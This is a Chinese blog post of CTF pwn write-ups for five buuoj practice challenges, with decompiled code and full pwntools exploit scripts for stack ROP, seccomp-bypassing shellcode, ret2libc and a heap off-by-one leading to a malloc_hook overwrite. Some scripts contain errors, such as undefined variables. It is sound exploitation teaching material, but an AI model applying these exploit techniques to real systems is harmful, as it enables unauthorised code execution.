buuoj Pwn writeup 51-55

原创

yongbaoii 于 2021-02-16 22:39:21 发布 120 收藏

分类专栏： CTF 文章标签： 安全

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/yongbaoii/article/details/113790020

版权

CTF 专栏收录该内容

213 篇文章 7 订阅

订阅专栏

51 cmcc_simplerop

保护

```
wuangwuang@wuangwuang-PC:~/Desktop$ checksec -f ./51
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIF
Y       Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   2237 Symbols    Yes  2
41      ./51
```

```
int v4; // [esp+1Ch] [ebp-14h] BYREF

puts("ROP is easy is'nt it ?");
printf("Your input :");
fflush(stdout);
return read(0, &v4, 100);
```

平平无奇栈溢出。

溢出长度虽然IDA里面 说v4开了0x14

```
wndbg> stack 20
0:0000│  esp  0xffffbd30 ◂— 0x0
1:0004│       0xffffbd34 —▸ 0xffffbd4c ◂— 0xa31 /* '1\n' */
2:0008│       0xffffbd38 ◂— 0x64 /* 'd' */
3:000c│       0xffffbd3c —▸ 0x80495d2 (__libc_csu_init+130) ◂— add    ebp, 1
4:0010│       0xffffbd40 ◂— 0x1
5:0014│       0xffffbd44 —▸ 0xffffbdf4 —▸ 0xffffbfa6 ◂— '/home/wuangwuang/Desktop/51'
6:0018│       0xffffbd48 —▸ 0xffffbdfc —▸ 0xffffbfc2 ◂— 'SHELL=/bin/bash'
7:001c│  ecx  0xffffbd4c ◂— 0xa31 /* '1\n' */
8:0020│       0xffffbd50 —▸ 0x80ea074 (__exit_funcs) —▸ 0x80eb2a0 (initial) ◂— 0x0
9:0024│       0xffffbd54 —▸ 0xffffbdf4 —▸ 0xffffbfa6 ◂— '/home/wuangwuang/Desktop/51'
a:0028│       0xffffbd58 —▸ 0xffffbdfc —▸ 0xffffbfc2 ◂— 'SHELL=/bin/bash'
b:002c│       0xffffbd5c —▸ 0x80481a8 (_init) ◂— push   ebx
c:0030│       0xffffbd60 ◂— 0x0
d:0034│       0xffffbd64 —▸ 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x80677d0 (__stpcpy_sse2) ◂— mov
ord ptr [esp + 4]
e:0038│  ebp  0xffffbd68 —▸ 0x80495f0 (__libc_csu_fini) ◂— push   ebx
f:003c│       0xffffbd6c —▸ 0x804903a (__libc_start_main+458) ◂— mov    dword ptr [esp], eax
0:0040│       0xffffbd70 ◂— 0x1
1:0044│       0xffffbd74 —▸ 0xffffbdf4 —▸ 0xffffbfa6 ◂— '/home/wuangwuang/Desktop/51'
2:0048│       0xffffbd78 —▸ 0xffffbdfc —▸ 0xffffbfc2 ◂— 'SHELL=/bin/bash'
3:004c│       0xffffbd7c ◂— 0x0
wndbg>
```

https://blog.csdn.net/yongbaoli

但是在gdb里面调试的时候发现ebp上面压了两个其他局部变量。

```
wuangwuang@wuangwuang-PC:~/Desktop$ ROPgadget  --binary ./51 --only "int"
Gadgets information
============================================================
0x080493e1 : int 0x80

Unique gadgets found: 1
```

有系统调用，可以ret2syscall。

exp

```python
# -*- coding: utf-8 -*-
from pwn import *

context(arch='amd64', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
r = remote('node3.buuoj.cn', 28515)
#r = process('./51')
libc = ELF("./32/libc-2.23.so")
elf=ELF("./51")

int_80h = 0x80493e1
pop_eax = 0x080bae06
pop_dcb = 0x0806e850
read_addr = 0x0806CD50
bss_addr = 0x80EBF79

payload = 'a' * 32 + p32(read_addr)
payload += p32(pop_dcb) + p32(0) + p32(bin_sh) + p32(0x8)
payload += p32(pop_eax) + p32(0xb)
payload += p32(pop_dcb) + p32(0) + p32(0) + p32(bin_sh)
payload += p32(int_addr)

r.recvuntil('input :')

r.sendline(payload)
r.sendline('/bin/sh\x00')
r.interactive()
```

52 pwnable_orw

保护

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIF
Y       Fortified       Fortifiable  FILE
Partial RELRO   Canary found      NX disabled   No PIE          No RPATH   No RUNPATH   74 Symbols      Yes  0
4       ./52
```

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  orw_seccomp();
  printf("Give my your shellcode:");
  read(0, &shellcode, 0xC8u);
  ((void (*)(void))shellcode)();
  return 0;
}
```

https://blog.csdn.net/yongbaoii

一看就是加了沙箱

seccomp 是 secure computing 的缩写，其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里，大量的系统调用（system call）直接暴露给用户态程序。但是，并不是所有的系统调用都被需要，而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式，该模式下的进程只能调用4种系统调用（system call），即 read(), write(), exit() 和 sigreturn()，否则进程便会被终止。

```
unsigned int orw_seccomp()
{
  __int16 v1; // [esp+4h] [ebp-84h] BYREF
  char *v2; // [esp+8h] [ebp-80h]
  char v3[96]; // [esp+Ch] [ebp-7Ch] BYREF
  unsigned int v4; // [esp+6Ch] [ebp-1Ch]

  v4 = __readgsdword(0x14u);
  qmemcpy(v3, &unk_8048640, sizeof(v3));
  v1 = 12;
  v2 = v3;
  prctl(38, 1, 0, 0, 0);
  prctl(22, 2, &v1);
  return __readgsdword(0x14u) ^ v4;
}
```

https://blog.csdn.net/yongbaoii

第一次调用prctl函数 ————禁止提权
第二次调用prctl函数 ————限制能执行的系统调用只有open，read，write，exit

所以我们就是通过open函数打开flag文件，然后read读取，write写出来。

exp

```
from pwn import *

context(os = "linux", arch = "i386", log_level= "debug")
r = remote("node3.buuoj.cn", 27008)

shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
#sys_open(file,0,0)

shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
#sys_read(3,file,0x100)

shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
#sys_write(1,file,0x30)

r.sendlineafter('shellcode:', shellcode)

r.interactive()
```

53 jarvisoj_level1

保护

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIF
Y       Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   70 Symbols      No    0
4       ./53

wuangwuang@wuangwuang-PC:~/Desktop$
```

```
ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  printf("What's this:%p?\n", buf);
  return read(0, buf, 256u);
}
```

平平无奇栈溢出。

还输出了buf的地址。

而且没开NX，所以直接把shellcode写到栈上，再溢过去就行。

当然也可以ret2libc。
就不写了。

本地跟远程不大一样。

exp
本地

```
# -*- coding: utf-8 -*-
from pwn import *

context(arch='i386', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
#r = remote('node3.buuoj.cn', 29837)
r = process('./53')
libc = ELF("./32/libc-2.23.so")
elf=ELF("./53")

#r.send('\n')
r.recvuntil("0x")
buf_addr = int(r.recv(8), 16)
print hex(buf_addr)

shellcode = asm(shellcraft.sh())

payload =  shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)

r.recvuntil("?\n")
r.send(payload)

r.interactive()
```

远程

```python
# -*- coding: utf-8 -*-
from pwn import *

context(arch='i386', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
#r = remote('node3.buuoj.cn', 29837)
r = process('./53')
libc = ELF("./32/libc-2.23.so")
elf=ELF("./53")

main_addr=0x80484b7
write_plt=elf.plt['write']
write_got=elf.got['write']

payload ='a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4)

r.send(payload)
write_addr = u32(r.recv(4))

libc_base=write_addr-libc.sym['write']

system_addr=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search('/bin/sh').next()
payload ='a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)

r.send(payload)
r.interactive()
```

54 roarctf_2019_easy_pwn

保护

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIF
Y       Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols       Yes 0
3       ./54
```

这个全绿有点厉害。

create

```
__int64 create()
{
  __int64 result; // rax
  int i; // [rsp+4h] [rbp-1Ch]
  unsigned int v2; // [rsp+8h] [rbp-18h]
  int v3; // [rsp+8h] [rbp-18h]
  void *v4; // [rsp+10h] [rbp-10h]

  result = 0LL;
  for ( i = 0; i <= 15; ++i )
  {
    result = *((unsigned int *)&unk_202040 + 4 * i);
    if ( !(_DWORD)result )
    {
      printf("size: ");
      v3 = sub_BE0(v2);
      if ( v3 > 0 )
      {
        if ( v3 > 4096 )
          v3 = 4096;
        v4 = calloc(v3, 1uLL);
        if ( !v4 )
          exit(-1);
        *((_DWORD *)&unk_202040 + 4 * i) = 1;
        *((_DWORD *)&unk_202044 + 4 * i) = v3;
        qword_202048[2 * i] = v4;
        printf("the index of ticket is %d \n", (unsigned int)i);
      }
      return (unsigned int)i;
    }
  }
  return result;
```

https://blog.csdn.net/yongbaoii

```
__int64 __fastcall sub_BE0(int a1)
{
  __int64 result; // rax
  int v2[3]; // [rsp+Ch] [rbp-14h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-

  v2[0] = a1;
  v3 = __readfsqword(0x28u);
  v2[2] = _isoc99_scanf("%d", v2);
  if ( v2[0] <= 256 && v2[0] >= 0 )
    result = (unsigned int)v2[0];
  else
    result = 10LL;
  return result;
}
```

https://blog.csdn.net/yongbaoii

他对输入的大小是有限制的。

```
*(&unk_202040 + 4 * i) = 1;
*(&unk_202044 + 4 * i) = v3;
```

这个地方比较难理解

看它的汇编代码。

```
cdqe
shl     rax, 4
mov     rdx, rax
lea     rax, unk_202040
mov     dword ptr [rdx+rax], 1
mov     eax, [rbp+var_1C]
cdqe
shl     rax, 4
mov     rcx, rax
lea     rax, unk_202044
mov     edx, [rbp+var_18]
mov     [rcx+rax], edx
mov     eax, [rbp+var_1C]
```

https://blog.csdn.net/yongbaoli

以上面那个图得第一条位例

就是把那个地方里面存着的地址加上4 * i得偏移所得到的地址那个地方写上1。

write

```
int v1; // [rsp+Ch] [rbp-14h]
int v2; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
unsigned int v4; // [rsp+14h] [rbp-Ch]

printf("index: ");
v2 = sub_BE0(v1);
v3 = v2;
if ( v2 >= 0 && v2 <= 15 )
{
  v2 = *((_DWORD *)&unk_202040 + 4 * v2);
  if ( v2 == 1 )
  {
    printf("size: ");
    v2 = sub_BE0(1);
    v4 = sub_E26(*((unsigned int *)&unk_202044 + 4 * v3), (unsigned int)v2);
    if ( v2 > 0 )
    {
      printf("content: ");
      v2 = sub_D92(qword_202048[2 * v3], v4);
    }
  }
}
return (unsigned int)v2;
```

https://blog.csdn.net/yongbaoli

```
__int64 __fastcall sub_E26(int a1, u
{
  __int64 result; // rax

  if ( a1 > (int)a2 )
    return a2;
  if ( a2 - a1 == 10 )
    LODWORD(result) = a1 + 1;
  else
    LODWORD(result) = a1;
  return (unsigned int)result;
}
```

https://blog.csdn.net/yongbaoli

这个地方说要是后面写的大小比前面大10就会多写一个字节，就会有off by one漏洞。

drop

```
__int64 drop()
{
  int v0; // eax
  int v2; // [rsp+Ch] [rbp-14h]
  int v3; // [rsp+10h] [rbp-10h]
  __int64 v4; // [rsp+10h] [rbp-10h]

  printf("index: ");
  v0 = sub_BE0(v3);
  v4 = v0;
  v2 = v0;
  if ( v0 >= 0LL && v0 <= 15LL )
  {
    v4 = *((int *)&unk_202040 + 4 * v0);
    if ( v4 == 1 )
    {
      *((_DWORD *)&unk_202040 + 4 * v0) = 0;
      *((_DWORD *)&unk_202044 + 4 * v0) = 0;
      free((void *)qword_202048[2 * v0]);
      qword_202048[2 * v2] = 0LL;
    }
  }
  return v4;
}
```

https://blog.csdn.net/yongbaoii

show

```
__int64 show()
{
  int v1; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+0h] [rbp-10h]
  int v3; // [rsp+4h] [rbp-Ch]

  printf("index: ");
  v2 = sub_BE0(v1);
  v3 = v2;
  if ( v2 >= 0 && v2 <= 15 )
  {
    v2 = *((_DWORD *)&unk_202040 + 4 * v2);
    if ( v2 == 1 )
    {
      printf("content: ");
      v2 = sub_108E(qword_202048[2 * v3], *((unsigned int *)&unk_202044 + 4 * v3));
    }
  }
  return (unsigned int)v2;
}
```

https://blog.csdn.net/yongbaoii

drop与show都是平平无奇。

主要是那个off by one漏洞。

通过制造overlapping，然后 实际起到的效果就是chunk2能够控制，但是已经在undorted链里面了，这就跟uaf的效果一样。通过它来泄露地址，然后做fastbin_attack。
当然还是先泄露地址，然后再攻击malloc_hook吧。

```python
# -*- coding: utf-8 -*-
from pwn import *

context(arch='i386', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
r = remote('node3.buuoj.cn', 27844)
#r = process('./54')
libc = ELF("./64/libc-2.23.so")
elf=ELF("./54")

def create(size):
    r.recvuntil("choice: ")
    r.sendline("1")
    r.recvuntil("size: ")
    r.sendline(str(size))
    r.recvuntil("\n")

def write(index, size, content):
    r.recvuntil("choice: ")
    r.sendline("2")
    r.recvuntil("index: ")
    r.sendline(str(index))
    r.recvuntil("size: ")
    r.sendline(str(size))
    r.recvuntil("content: ")
    r.sendline(content)

def drop(index):
    r.recvuntil("choice: ")
    r.sendline("3")
    r.recvuntil("index: ")
    r.sendline(str(index))

def show(index):
    r.recvuntil("choice: ")
    r.sendline("4")
    r.recvuntil("index: ")
    r.sendline(str(index))

one_gadget = 0x4527a

create(0x18)
create(0x60)
create(0x60)
create(0x10)

payload = 'a' * 0x18 + '\xe1'
write(0, 0x18 + 10, payload)
drop(1)
create(0x60)

show(2)

main_arena=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88

libc_base=main_arena-0x3c4b20
one_gadget = libc_base + one_gadget
malloc_hook = libc_base+libc.symbols['__malloc_hook']
realloc = libc_base+libc.symbols['__libc_realloc']
```

```
create(0x60)
drop(4)

payload = p64(malloc_hook - 0x23)
write(2, 8, payload)

create(0x60)

payload = 'a' * 0xb + p64(one_gadget) + p64(realloc + 13)
create(0x60)
write(5, 0x1b, payload)


r.recvuntil('choice: ')
r.sendline('1')
r.recvuntil('size: ')
r.sendline(str(0x20))

r.interactive()
```

这个exp可以过本地，远程可能它的libc有些问题吧，过不了，网上其它wp也都过不了。

55 picoctf_2018_buffer overflow 2

保护

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols       FORTIF
Y       Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   80 Symbols    No    0
6       ./55

wuangwuang@wuangwuang-PC:~/Desktop$
```

```
int vuln()
{
  char s[108]; // [esp+Ch] [ebp-6Ch] BYREF

  gets(s);
  return puts(s);
}
```

https://blog.csdn.net/yongbaoii

平平无奇栈溢出。

```
char *__cdecl win(int a1, int a2)
{
  char *result; // eax
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts(
      "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
    exit(0);
  }
  result = fgets(s, 64, stream);
  if ( a1 == -559038737 && a2 == -559038242 )
    result = (char *)printf(s);
  return result;
}
```

https://blog.csdn.net/yongbaoii

满足条件溢一下就好了。

exp

```
# -*- coding: utf-8 -*-
from pwn import *

context(arch='i386', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
r = remote('node3.buuoj.cn', 26240)
#r = process('./55')
libc = ELF("./32/libc-2.23.so")
elf=ELF("./55")

win_addr = 0x80485cb
payload = 'a' * 0x70 + p32(win_addr) +'aaaa' + p32(0x0DEADBEEF) + p32(0x0DEADC0DE)
r.sendline(payload)

r.interactive()
```